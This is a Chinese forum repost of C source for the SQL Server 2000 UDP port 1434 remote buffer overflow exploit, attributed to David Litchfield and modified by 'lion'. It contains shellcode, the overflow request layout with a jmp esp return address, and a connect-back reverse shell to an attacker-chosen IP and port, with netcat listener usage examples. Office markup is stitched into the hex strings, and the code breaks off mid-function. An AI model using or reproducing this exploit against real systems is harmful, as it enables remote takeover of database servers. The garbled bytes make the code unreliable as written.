[转贴]去年1月25日全球网络受攻击的源代码

/*<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

* <?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" /><chsdate w:st="on" isrocdate="False" islunardate="False" day="25" month="1" year="2004"><span style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 华文宋体; mso-font-kerning: 0pt">一月<span lang="EN">25</span>日</span></chsdate>全球网络受攻击的源代码

* 据说以下代码就是造成全球网络攻击的源代码，有兴趣的可以研究一下。

* 本文仅供研究，违者自负！！

*/

/*

MS SQL2k remote UDP Exploit

by David Litchfield, david@ngssoftware.com

*/

#include

#include

#pragma comment (lib,"Ws2_32")

int GainControlOfSQL(void);

int StartWinsock(void);

struct sockaddr_in c_sa;

struct sockaddr_in s_sa;

struct hostent *he;

SOCKET sock;

unsigned long addr;

int SQLUDPPort=1434;

char host[256]="";

char request[4000]="\x04";

char ping[8]="\x02";

char exploit_code[]=

"\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="1" unitname="C">1C</chmetcnv>"

"\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8"

"\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6"

"\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90"

"\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83"

"\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF"

"\x16\x50\x33\xC0\xB0\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="0" unitname="C">0C</chmetcnv>\x03\xD8\x53\xFF"

"\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B"

"\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33"

"\xC0\xB0\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="0" unitname="C">0C</chmetcnv>\x03\xD8\x53\x8B\x45\xF4\x50"

"\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53"

"\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0"

"\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9"

"\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45"

"\xD8\xBF\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="7" unitname="F">7F</chmetcnv>\x01\x01\x01\x89\x7D\xD4\x40"

"\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35"

"\xFF\xCA\x66\x89\x45\xD2\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x01\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x02"

"\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x10"

"\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45"

"\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF"

"\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45"

"\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98"

"\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58"

"\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83"

"\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D"

"\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0"

"\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64"

"\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74"

"\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10"

"\xFF\xD0\x90\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="F">2F</chmetcnv>\x2B\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x07\x6B\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x76"

"\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="3" unitname="C">3C</chmetcnv>\x34\x34\x58\x58\x33\x3D\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="a">2A</chmetcnv>\x36\x3D"

"\x34\x6B\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="6" unitname="a">6A</chmetcnv>\x76\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="3" unitname="C">3C</chmetcnv>\x34\x34\x58\x58\x58"

"\x58\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="0" unitname="F">0F</chmetcnv>\x0B\x19\x0B\x37\x3B\x33\x3D\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="C">2C</chmetcnv>"

"\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="C">2C</chmetcnv>"

"\x58\x1B\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="a">2A</chmetcnv>\x3D\x39\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="C">2C</chmetcnv>\x3D\x08\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="2" unitname="a">2A</chmetcnv>\x37"

"\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="3" unitname="C">3C</chmetcnv>"

"\x58";

int main(int argc, char *argv[])

{

unsigned int ErrorLevel=0,len=0,c =0;

int count = 0;

char sc[300]="";

char ipaddress[40]="";

unsigned short port = 0;

unsigned int ip = 0;

char *ipt="";

char buffer[400]="";

unsigned short prt=0;

char *prtt="";

if(argc != 2 && argc != 5)

{

printf("===============================================================\r\n");

printf("SQL Server UDP Buffer Overflow Remote Exploit\r\n\n");

printf("Modified from \"Advanced Windows Shellcode\"\r\n");

printf("Code by David Litchfield, david@ngssoftware.com\r\n");

printf("Modified by lion, fix a bug.\r\n");

printf("Welcome to HUC Website http://www.cnhonker.com\r\n\n");

printf("Usage:\r\n");

printf(" %s Target [ ]\r\n\n", argv[0]);

printf("Exemple:\r\n");

printf("Target is MSSQL SP 0:\r\n");

printf(" C:\\>nc -l -p 53\r\n");

printf(" C:\\>%s db.target.com 202.202.202.202 53 0\r\n",argv[0]);

printf("Target is MSSQL SP 1 or 2:\r\n");

printf(" c:\\>%s db.target.com 202.202.202.202\r\n\n", argv[0]);

return 0;

}

strncpy(host, argv[1], 100);

if(argc == 5)

{

strncpy(ipaddress, argv[2], 36);

port = atoi(argv[3]);

// SQL Server 2000 Service pack level

// The import entry for GetProcAddress in sqlsort.dll

// is at 0x42ae1010 but on SP 1 and 2 is at 0x42ae<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="101" unitname="C">101C</chmetcnv>

// Need to set the last byte accordingly

if(argv[4][0] == 0x30)

{

printf("MSSQL SP 0. GetProcAddress @0x42ae1010\r\n");

exploit_code[9]=0x10;

}

else

{

printf("MSSQL SP 1 or 2. GetProcAddress @0x42ae<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="101" unitname="C">101C</chmetcnv>\r\n");

}

}

ErrorLevel = StartWinsock();

if(ErrorLevel==0)

{

printf("Starting Winsock Error.\r\n");

return 0;

}

if(argc == 2)

{

strcpy(request,ping);

GainControlOfSQL();

return 0;

}

strcpy(buffer,exploit_code);

// set this IP address to connect back to

// this should be your address

ip = inet_addr(ipaddress);

ipt = (char*)&ip;

buffer[142]=ipt[0];

buffer[143]=ipt[1];

buffer[144]=ipt[2];

buffer[145]=ipt[3];

// set the TCP port to connect on

// netcat should be listening on this port

// e.g. nc -l -p 80

prt = htons(port);

prt = prt ^ 0xFFFF;

prtt = (char *) &prt;

buffer[160]=prtt[0];

buffer[161]=prtt[1];

strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");

// Overwrite the saved return address on the stack

// This address contains a jmp esp instruction

// and is in sqlsort.dll.

strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B<chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="0" unitname="C">0C</chmetcnv>9DC

// Need to do a near jump

strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");

// Need to set an address which is writable or

// sql server will crash before we can exploit

// the overrun. Rather than choosing an address

// on the stack which could be anywhere we'll

// use an address in the .data segment of sqlsort.dll

// as we're already using sqlsort for the saved

// return address

// SQL 2000 no service packs needs the address here

strcat(request,"\x01\x70\xAE\x42");

// SQL 2000 Service Pack 2 needs the address here

strcat(request,"\x01\x70\xAE\x42");

// just a few nops

strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");

// tack on exploit code to the end of our request and fire it off

strcat(request,buffer);

GainControlOfSQL();

return 0;

}

int StartWinsock()

{

int err=0;

WORD wVersionRequested;

WSADATA wsaData;

wVersionRequested = MAKEWORD(2,1);

err = WSAStartup( wVersionRequested, &wsaData );

if (err != 0)

{

printf("error WSAStartup 1.\r\n");

return 0;

}

if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 1 )

{

printf("error WSAStartup 2.\r\n");

WSACleanup( );

return 0;

}

if (isalpha(host[0]))

{

he = gethostbyname(host);

if (he == NULL)

{

printf("Can't get the ip of %s!\r\n", host);

WSACleanup( );

exit(-1);

}

s_sa.sin_addr.s_addr=INADDR_ANY;

s_sa.sin_family=AF_INET;

memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);

}

else

{

s_sa.sin_family=AF_INET;

s_sa.sin_addr.s_addr = inet_addr(host);

}

return 1;

}

int GainControlOfSQL(void)

{

char resp[600]="";

int snd=0,rcv=0,count=0, var=0;

unsigned int ttlbytes=0;